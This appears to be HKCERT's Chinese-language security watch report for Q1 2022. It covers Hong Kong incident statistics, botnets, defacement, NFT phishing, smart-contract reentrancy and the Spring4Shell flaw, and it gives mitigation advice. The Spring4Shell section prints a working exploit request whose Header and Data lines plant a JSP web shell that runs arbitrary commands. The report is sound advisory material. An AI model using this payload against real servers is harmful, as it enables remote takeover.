跳至主內容

香港保安觀察報告 (2022年第一季度)

發佈日期: 2022年04月27日 1160 觀看次數

本中心很高興為你帶來2022年第一季度的「香港保安觀察報告」

 

現今,有很多具備上網功能的數碼設備(例如個人電腦、智能手機、平板裝置等),在用戶不知情下被入侵,令儲存在這些設備內的數據,每天要面對被盜取和洩漏,及可能被用於進行 不同形式的犯罪活動的風險。
 
《香港保安觀察報告》旨在提高公眾對香港被入侵系統狀況的認知,從而作出更好的資訊保安選擇。這份季度報告提供的數據聚焦在被發現曾經遭受或參與各類型網絡攻擊活動[包括網頁塗改、釣魚網站、惡意程式寄存、殭屍網絡控制中心或殭屍電腦等]的香港系統,其定義為處於香港網絡內,或其主機名稱的頂級域名是「.hk」或「. 香港」的系統。報告亦會回顧該季度所發生的重大保安事件及探討熱門保安議題,並提出易於執行的保安建議,提升公眾的資訊保安認知的水平,増強應對有關風險的能力。 

 

2022 第一季度報告概要

 

涉及香港的單一網絡保安事件宗數
4,527
按季下跌
-4.8%

 

 

Trend and distribution of server related security events 

 

 

事件類別

2021 Q1

2021 Q2

2021 Q3

2021 Q4

2022 Q1

按季

網頁塗改

295

476

445

595

718

+21%

釣魚網站

495

665

993

1,061

806

-24%

惡意程式寄存

0

8

0

0

0

-

殭屍網絡(殭屍電腦)

4,227

6,042

3,422

3,097

3,003

-3%

殭屍網絡(控制中心)

0

0

0

0

0

-

總數

5,017

7,191

4,860

4,753

4,527

-4.8%

 


香港網絡內的主要殭屍網絡

 

Mirai 1390 cases
Sality 405 cases

Avalanche

304

-25.7%

Conficker

244

-10.6%

Tinba

105

+23.5%

Virut

105

-13.9%

Nymaim

73

-62.6%

VPNFilter

54

-10%

Zeus

44

-8.3%

Bankpatch

38

+5.6%

 

Major Botnet Families in Hong Kong Network

*每個殭屍網絡的規模是根據在報告時間內每天嘗試連接到殭屍網絡的單一IP地址總數的最大值計算得出的。換而言之,由於不是所有殭屍電腦都一定在同一天開機,因此殭屍網絡的真實規模應該比偵測到的更大。

 

 


網頁塗改事件多因IT人員未有修補保安漏洞

Most Defacement Events are due to Unpatched Vulnerabilities by IT Administrators

 

網頁塗改事件總計有718宗,受保安漏洞影響的共估325宗。其他包括文件包含漏洞、伺服器入侵等。

 

新版OWASP Top 10網絡應用系統安全風險報告20219月發佈,其中使用有漏洞或過時的組件亦於十大最見問題中排第六位。

據保安公司調查報告顯示,最受歡迎的網頁内容管理系统WordPress2021年共被發現接近1,500個保安漏洞,相比起2020年升幅達150%

(來源:https://patchstack.com/whitepaper/the-state-of-wordpress-security-in-2021/)

 

另一種入侵方式是透過開發人員不小心下載及使用了包含惡意程式碼的組件。20223月,NPM套件庫被發現有達600個此類問題組件,利用偽冒名稱及混淆軟件套件管理器等方法誘騙開發人員安裝。

 

HKCERT 曾發佈【慎防惡意或有保安漏洞的第三方開源軟件】保安博錄,建議開發人員可建立保安和漏洞管理政策、整合保安軟件開發框架(SSDF)至軟件開發生命週期(SDLC)中、只從官方存儲庫下載第三方軟件等,詳情可點擊左方HKCERT網頁連結瀏覽。


焦點:NFT網絡攻擊知多些  多管齊下保交易安全

 

社會近期熱論的「非同質化代幣」(NFTNon-Fungible Token)可以解讀為張擁有權證明書,代表閣下擁有某項資產。近期有多宗不同類型涉及NFT 的網絡保安事故,包括202112NFT項目Monkey Kingdom20222NFT marketplace OpenSea的釣魚網站事件,以及20222NikeStockX的侵權訴訟。

 

NFT 是區塊鏈上的一種交易記錄,在整個生態系統中只佔最後的部份。整個生態先由創作者制成數碼作品、賣家及買家於NFT平台上拍賣及選購心頭好,買家簽署成交後才由平台將交易記錄寫入區塊鏈,當中包括金額及作品擁有權的轉移。

 

 

NFT生態系統及三種常見網絡攻擊

來源:Understanding Security Issues in the NFT Ecosystem, November 2021, University of California, Santa Barbara (https://www.researchgate.net/profile/Dipanjan-Das-6/publication/356339205_Understanding_Security_Issues_in_the_NFT_Ecosystem/links/61e78b519a753545e2df265a/Understanding-Security-Issues-in-the-NFT-Ecosystem.pdf )

 

大部份涉及NFT的網絡攻擊都是圍繞用家及交易平台,主要可分為以下三類:

 

1. 網絡釣魚

騙取加密錢包恢復短語

黑客透過電郵、短訊或 Discord發送假網站連結,假網站版面與加密錢包一樣,要求加密錢包用戶輸入恢復短語,黑客獲得短語便可完全控制加密錢包內的資產。其他騙取恢復短語手法包括偽冒電腦技術人員訛稱提供協助。

 

 

 

假交易訊息轉走錢包資產

假NFT 平台會彈出交易訊息,要求用戶連接錢包及簽署以確認交易,但其實是讓黑客將資產轉移至其帳戶。

2. NFT 平台保安漏洞

NFT 平台的運作其實類似網購平台,由供應商開發及營運。現時網絡上有多個較受歡迎的NFT 平台,而漏洞通常是因在平台設計及開發階段時對保安缺乏足夠考慮所出現。此類保安漏洞亦是黑客的攻擊目標之一,例如黑客可上載含有惡意程式碼的作品,入侵缺乏雙重身分驗證的帳戶,或藉由保安設計的缺陷以低價購入NFT 轉售圖利。

3. 假冒或侵權的作品

由於大部份的NFT 作品都是圖片,所以NFT 熱賣亦吸引抄襲者「偷圖」再於其他平台出售。此外,一些公司商標和名人頭像亦在未經當事人同意下,被製成NFT 出售。現時世界各地都未有法規監管NFT 買賣,而社會上一般認為NFT 只代表資產擁有權,對於版權屬誰則未有定論。NFT 擁有人的權利不清晰及追究困難,令購入假冒或侵權NFT 的事主蒙受精神及金錢上的損失。

如何安全地進行NFT 交易

 

  • 切勿任意點擊來歷不明的電郵、短訊或社交媒體內的超連結或附件
  • 使用瀏覽器書籤功能來儲存NFT平台網址
  • 避免使用其他人發送的連結登入平台
  • 啟用雙重或多重身份驗證功能
  • 切勿向第三者透露錢包的恢復短語
  • 設置臨時錢包,只儲存適量的加密幣作交易用
  • 簽署任何合約前應小心核實所有資料,了解當中條款及潛在風險
  • 檢視自己NFT的存取授權,撤銷過去有問題或不確定用途的授權
  • 購買NFT前,應做足資料搜集,了解設計者的身分,並檢查NFT的介紹資料是否齊全(如其他用戶評論、過往交易、是否原創作品等)
    • 如平台有移除侵權的NFT機制,用戶可向支援人員查詢

HKCERT網站內可找到兩篇分別針對加密幣錢包及NFT保安的博錄,以供參考。

https://www.hkcert.org/tag?q=NFT


焦點:安全使用智能合約 造就利益保障、成本減省

 

 

智能合約是將合約條文程式化並寫進區塊鏈中。有別於傳統合約,它無需第三方介入,當滿足合約條件時,程式便會自動執行合約,而且無法更改。過住有些保安事故與智能合約有關,牽涉利用智能合約的程式設計漏洞。因此,不論是開發或使用智能合約時都要小心謹慎,以免程式執行結果與預期不同,同時要理解當中潛在的風險及相應的保安建議。

 

智能合約(Smart Contract)的概念源於1994由一位美國密碼學家兼電腦科學家Nick Szabo 提出,他提倡把合約數字化及程式化,意味著條款細則會以數字形式鑲嵌在特定區域中。可是,在區塊鏈出現前的社會迴響不大。

 

傳統合約與智能合約的差異

日常生活中,大家會時常接觸傳統合約,例如購買房屋時需要經過地產中介接洽、銀行財務審批,及律師服務等程序。傳統合約往往是以信任為基礎,牽涉第三方介入以作見證人,然後由簽署雙方各自履行合約上的義務,整個程序繁複和涉及額外費用。

 

智能合約的設計就是解決以上問題。除了可以省卻第三方的開支外,也能確保合約內容得以有效地執行。它是一項非以雙方信任為基礎的技術,而是建基於雙方協定的合約內容。由於智能合約被程式化後會寫進區塊鏈,而區塊鏈有著不能篡改的特性,加上智能合約設定的條件一被滿足,內容亦會即時自動執行,保障雙方利益及節省了時間成本。

 

智能合約具有下列特性:

  • 自動化:當條件符合便自動執行內容。
  • 節省時間及成本低:減少第三方的介入,從而減少時間成本及第三方開支。
  • 可靠:內容被寫進區塊鏈。因此,是以合約內容為基礎,而非雙方的信任。

 

過去涉及智能合約的網絡保安事故

 

智能合約是由程式編寫而成,由以太虛擬機(Ethereum Virtual Machine)執行,很多保安事故都是因被黑客發現程式有漏洞有關。

 

 

例子一:錯誤設置及代碼漏洞

黑客利用下圖中的emergencyWithdraw 函數從智能合約中進行了57次盜竊行為。

來源: https://research.checkpoint.com/2022/scammers-are-creating-new-fraudulent-crypto-tokens-and-misconfiguring-smart-contracts-to-steal-funds/

 

例子二:「重入」(Reentrancy)攻擊

用外部程式碼 msg.sender.call.value(amountToWithdraw)("")前,沒有先將 userBalances[msg.sender] 重設為零,如果外部的是惡意程式,它便可以重覆調用 withdrawBalance() 不斷轉走相等於 userBalances[msg.sender]數值的資產。

 

mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call withdrawBalance again
    require(success);
    userBalances[msg.sender] = 0;
}

「重入」(Reentrancy)攻擊例子: https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/

 

 

使用智能合約的注意事項

  • 簽署智能合約時,要小心確認合約內容。若不確定簽署請求,應該使用官方渠道聯絡平台技術支援
  • 如對智能合約不是太熟悉,可使用規模較大的交易平台上的官方智能合約進行交易
  • 交易後,立即查看所持有的加密資產,檢查資產轉移數量是否正確、交易是否根據合約內容成功執行
  • 編寫智能合約時應參考最佳實踐指引,以避免常見的攻擊方式,如重入攻擊、阻斷服務攻擊等
  • 為智能合約進行保安評估或審計來檢查程式碼有否保安問題以便跟進。報告結果亦可供用戶查閱以增加透明度

網絡攻擊:Spring4Shell遠端執行程式碼漏洞

 

202112月,Java生態系統中的 Log4J 出現一個嚴重漏洞Log4Shell,黑客可以入侵行遠端程式碼執行 (Remote Code ExecutionRCE)。相隔三個月,另一個受歡迎的Java Framework - Spring Framework亦出現類似的漏洞,因此被命名為Spring4Shell,並專屬的公共漏洞和暴(Common Vulnerabilities and ExposuresCVE)CVE-2022-22965,更於通用漏洞評分系統(Common Vulnerability Scoring SystemCVSS) 9.8(10分為最高)

 

甚麼是Spring4Shell (CVE-2022-22965)?

它是於20223月被發現存在於Spring 框架的保安漏洞名稱。Spring 框架是 Java 中最廣泛使用的開源框架之一。在 Java Development Kit (JDK) 9.0 或更高版本中,黑客可以通過框架的參數綁定功能獲取 Tomcat AccessLogValve物件,並使用惡意字段值觸發管道機制,更在某些條件下於伺服器中建立指令檔案,以執行任何惡意指令。

 

與Log4Shell(CVE-2021-44228)有何分別

Log4Shell影響使用該受歡迎套件的所有系統,數量龐大,而且觸發漏洞的方式較簡單。

 

至於Spring4Shell漏洞,它則需要於特定伺服器設定下才能被觸發,而且需要一定編程技術及對多個不同伺服器組件有認識,所以影響規模未及Log4Shell事件嚴重。但因網上已發現有概念程式驗證碼,所以HKCERT評定為高度風險”(https://www.hkcert.org/tc/security-bulletin/spring-framework-remote-code-execution-vulnerability_20220401 )

 

受影響的伺服器

  • JDK 9 或更高版本

  • Spring 框架為5.3.05.3.17, 5.2.05.2.19版本,或更早期的版本

  • Apache Tomcat 作為 Servlet 容器

    • 包裝為傳統的 WAR
    • 依賴 spring-webmvc spring-webflux

 

Spring4Shell攻擊原理

該漏洞是由於Spring 的getCachedIntrospectionResults 方法接收到HTTP請求觸發Java物件的取存鏈,以存取Tomcat 中的 AccessLogValve 物件。Tomcat 會使用該物件進行日誌記錄。黑客可以透過HTTP請求來修改 Tomcat 內AccessLogvalve 物件的屬性,從而改變日誌的各個配置,例如可將惡意程式碼寫進日誌然後執行。

 

 

階段

  1. 對受影響伺服器發出HTTP POST請求,內容包含以下Header及 Data來修改 Tomcat 日誌的 pattern, suffix, directory, prefix 以及 fileDataFormat配置

Header

“c1”: “Runtime”,
“c2”: “<%”,
“suffix”: “%>//”

Data

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

 

  1. 上述請求會令 Spring 於WebApps/Root 資料夾內建立一個Tomcatwar.jsp案來執行任何黑客所發出的指令並顯示結果。

 

廣泛利用

Log4J graph

圖片來源: https://blog.checkpoint.com/2022/04/05/16-of-organizations-worldwide-impacted-by-spring4shell-zero-day-vulnerability-exploitation-attempts-since-outbreak/ 

在官方發佈修復程式前,Spring4Shell漏洞的驗證代碼已於GitHub上披露。儘管相關信息被迅速刪除,但它已在各種社交媒體平台上被轉載,這意味著可供黑客利用。微軟透露,在漏洞公佈後,它在其雲服務Azure發現有人利用Spring4Shell進行攻擊。截至2022年4月3日,另一家網絡保安公司也偵測到多達三萬七千次的相關攻擊。

處理方法

升級Spring Framework5.3.185.2.20或以上版本及;升級Spring Boot2.6.6 2.5.12或以上版本

 

 

其中緩解方案

  • 升級Apache Tomcat至 10.0.20, 9.0.62 或 8.5.78版本
  • 使用 Java 8
  • 使用 disallowFields 來阻擋處理特定字串

下載報告

 

< 請按此 下載香港保安觀察報告 >